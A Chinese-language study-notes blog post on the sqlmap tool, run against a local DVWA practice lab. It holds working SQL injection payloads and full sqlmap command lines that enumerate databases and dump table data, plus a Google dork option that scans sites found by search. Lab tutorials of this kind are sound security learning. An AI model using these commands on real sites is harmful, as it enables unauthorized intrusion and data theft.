Sqlmap学习笔记(一)

こ雲淡風輕ζ 提交于 2019-12-21 09:19:22

Sqlmap安装

  1. 进入sqlmap官网,下载,运行sqlmap.py文件即可

    python sqlmap.py
  2. 通过pip安装

    pip install sqlmap

    直接在命令行运行sqlmap即可

Sqlmap直连数据库

sqlmap -d mysql://root:root@localhost:3306/test -f --banner

​ 如果报错需要下载pymysql模块

pip install pymsql

​ -d:直连数据库,后面跟着连接信息 -> mysql://用户名:密码@主机名:端口/数据库

​ -f:打印DBMS信息

​ --banner:打印banner信息,准确的版本号

​ 成功访问,获取mysql信息

[23:47:45] [INFO] connection to MySQL server 'localhost:3306' established
[23:47:45] [INFO] testing MySQL
[23:47:45] [INFO] resumed: [['1']]...
[23:47:45] [INFO] confirming MySQL
[23:47:45] [INFO] resumed: [['1']]...
[23:47:45] [INFO] the back-end DBMS is MySQL
[23:47:45] [INFO] fetching banner
[23:47:45] [INFO] resumed: [['5.7.26']]...
[23:47:45] [INFO] actively fingerprinting MySQL
[23:47:45] [INFO] resumed: [['1']]...
[23:47:45] [INFO] executing MySQL comment injection fingerprint
back-end DBMS: active fingerprint: MySQL >= 5.7
banner: '5.7.26'
[23:47:45] [INFO] connection to MySQL server 'localhost:3306' closed

[*] ending @ 23:47:45 /2019-11-30/

Sqlmap对URL进行探测

​ 使用-u或者--url参数

​ 在这里我使用的是DVWA漏洞测试平台,DVWA是基于PHP的,先下载phpstudy,PhpStudy内置了Apache和Mysql等服务,运行Apache和Mysql服务,访问DVWA,默认账号密码 admin/password 登陆进入首页。

​ 配置DVWA数据库用户和密码,修改dvwa/config/config.inc.php,将db_user和db_password设置成自己数据库的用户名和密码

$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'root';
$_DVWA[ 'db_password' ] = 'root';

​ 初始化数据库,进入Setup / Reset DB选项,点击Create / Reset Database按钮,初始化数据库。

image-20191201001917087

进入DVWA Security选项,将安全级别选择Low

image-20191201001631940

​ 环境搭建好了,开始基于Url的Sql注入。选中SQL Injection,这里有一个输入框,填入用户的id就可以查出对应的用户,现在利用Sqlmap来对这个输入框进行注入

image-20191201002633080

​ 输入1之后,发现将admin用户回显在了页面上,观察浏览器地址栏的变化

http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#

​ 发送了一个get请求给服务端, 参数id被拼接在url中,可以针对这个地址来做基于url的sql注入探测,使用sqlmap工具扫描这个url,获取banner信息,接下来将会对Submit和id这两个输入点进行sql盲注

sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" --banner

因为请求这个url需要登陆信息,所以得携带已登录用户的cookie,不然会被重定向到登陆页面

Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: Submit=Submit&id=1' OR NOT 4425=4425#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: Submit=Submit&id=1' AND (SELECT 5820 FROM(SELECT COUNT(*),CONCAT(0x716b6a7871,(SELECT (ELT(5820=5820,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NUNu

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: Submit=Submit&id=1' AND (SELECT 2401 FROM (SELECT(SLEEP(5)))ZVXy)-- lZZD

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: Submit=Submit&id=1' UNION ALL SELECT NULL,CONCAT(0x716b6a7871,0x4c4b517861646d48755862657a785977537649774e706c4f6f474f4f62786e747a5a694a47575142,0x71766a7171)#
---
[00:06:47] [INFO] the back-end DBMS is MySQL
[00:06:47] [INFO] fetching banner
back-end DBMS: MySQL >= 5.0
banner: '5.7.26'
[00:06:48] [INFO] fetched data logged to text files under 'C:\Users\dagger\AppData\Local\sqlmap\output\test.dvwa.com'

[*] ending @ 00:06:48 /2019-12-01/

成功获取到了banner信息,由上可知Mysql的版本号为5.7.26

并检测到id参数有4个sql注入漏洞

boolean-based blind: 布尔型注入

error-based: 报错型注入

time-based blind: 基于时间延迟注入

UNION query: 可联合查询注入

这些类型的注入漏洞对应着sqlmap目录下data文件夹下的xml文件

image-20191201005634323

参数说明
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: Submit=Submit&id=1' OR NOT 4425=4425#

Type:sql注入类型

Title:在payloads的xml文件下就是每个Payload的标题

Payload:注入的sql语句

已知目标站点存在sql注入漏洞,接下来可以通过相关命令获取数据库,表,字段和数据

获取数据库详细信息

  1. 获取所有数据库

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" --dbs
    
    available databases [8]:
    [*] dvwa
    [*] information_schema
    [*] mysql
    [*] order_db
    [*] performance_schema
    [*] pikachu
    [*] sys
    [*] test
    
  2. 获取test数据库下所有表

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test --tables
    
    Database: test
    [2 tables]
    +-----------+
    | student_0 |
    | student_1 |
    +-----------+
    
  3. 获取student_0下所有字段

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test -T student_0 --columns
    
    Database: test
    Table: student_0
    [3 columns]
    +--------+--------------+
    | Column | Type         |
    +--------+--------------+
    | id     | bigint(20)   |
    | name   | varchar(255) |
    | sex    | bit(1)       |
    +--------+--------------+
    
  4. 获取student_0表数据

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test -T student_0 --dump
    
    Database: test
    Table: student_0
    [3 entries]
    +----+------+------+
    | id | sex  | name |
    +----+------+------+
    | 2  | \x01 | fs   |
    | 4  | \x01 | 公司的  |
    | 6  | \x00 | 发生的  |
    +----+------+------+
    
  5. 获取指定字段数据,比如我只想要name字段数据,多个字段用逗号分隔

    sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" -D test -T student_0 -C name --dump
    

    --users:获取所有用户

    --dbs:获取所有数据库

    -D:指定数据库

    --tables:获取所有表

    -T:指定表

    --columns:获取所有字段

    -C:指定字段

    --dump:获取表中所有数据

配合Burpsuite请求日志对站点进行扫描

  1. 打开Burpsuite,选中Poroject options -> Misc,在Logging板块为Proxy选中Requests,之后会弹出对话框,选择日志文件保存的位置

  2. 用Burpsuite代理的端口发几个请求试试,会发现日志文件里已经有了请求日志信息,通过sqlmap指定日志文件进行扫描

    sqlmap -l 日志文件

Sqlmap对URL地址列表进行扫描

  1. 准备URL地址列表文件,如:

    http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#
    http://test.dvwa.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
  2. 运行sqlmap命令,将会对指定文件中的URL逐行进行扫描

    sqlmap -m URL列表地址文件

利用Google Hack注入扫描

​ 采用Google dork表达式

sqlmap -g "inurl:.php?id=1"

从配置文件中加载选项进行扫描

​ 修改sqlmap目录下的sqlmap.conf文件,里面有多个配置项,修改这些配置可以代替像-x,-r,-l..等这些方式

direct =        # 直接连接数据库,相当于-d
bulkFile =      # 多行url文件,相当于-m
sitemapUrl =    # 站点地图文件,相当于-x
url =           # 要扫描的目标url,相当于-u
logFile =       # burpsuite请求日志文件,相当于-l
requestFile =   # 包含http请求头信息的文件,相当于-r
googleDork =    # 利用google hack扫描,相当于-g

开始基于配置文件的扫描

sqlmap -c sqlmap.conf

从站点地图文件扫描目标站点

sqlmap -x http://192.168.1.121/sitemap.xml

从文本文件中读取Http请求作为Sql注入目标

​ 主要用于对Http请求头进行注入

sqlmap -r 目标文本文件

​ 目标http文本

GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: test.dvwa.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://test.dvwa.com/vulnerabilities/sqli/
Cookie: PHPSESSID=0q9ph79utog8ndjjka361kr7s2; security=low
Upgrade-Insecure-Requests: 1
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!